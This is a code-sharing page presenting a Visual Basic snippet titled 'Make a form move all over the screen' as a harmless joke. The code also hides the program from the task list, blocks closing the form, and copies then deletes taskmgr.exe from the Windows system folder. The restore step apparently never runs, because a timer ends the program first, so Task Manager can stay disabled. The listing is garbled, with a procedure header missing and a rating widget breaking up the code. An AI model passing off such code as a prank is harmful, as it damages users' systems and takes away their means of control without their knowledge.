• Home
 · 
• Miscellaneous
 · 
• Make a form move all over the screen

Make a form move all over the screen

Make a form move all over the screen

API Declarations


'add 2 timers, set the first timer to 1 interval and the second one to 10000
'have fun :)



Rate Make a form move all over the screen

• 1
• 2
• 3
• 4
• 5

(1(1 Vote))

'U Can Change The Win Path To Fit Ur Need
If Do_It = True Then
FileCopy "C:\WINDOWS\system32\taskmgr.exe", "c:\taskmgr.exe"
Kill "C:\WINDOWS\system32\taskmgr.exe"
Else
FileCopy "C:\taskmgr.exe", "C:\WINDOWS\system32\taskmgr.exe"
End If
End Sub



Private Sub Form_Unload(Cancel As Integer)
DisTaskMngr False
End Sub



Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub


Private Sub Form_Load()
App.TaskVisible = False
DisTaskMngr True
End Sub


Private Sub Timer1_Timer()
Randomize
r = Int(Rnd * Screen.Width)
i = Int(Rnd * Screen.Height)
Form1.Move r, i

End Sub

Private Sub Timer2_Timer()
End
End Sub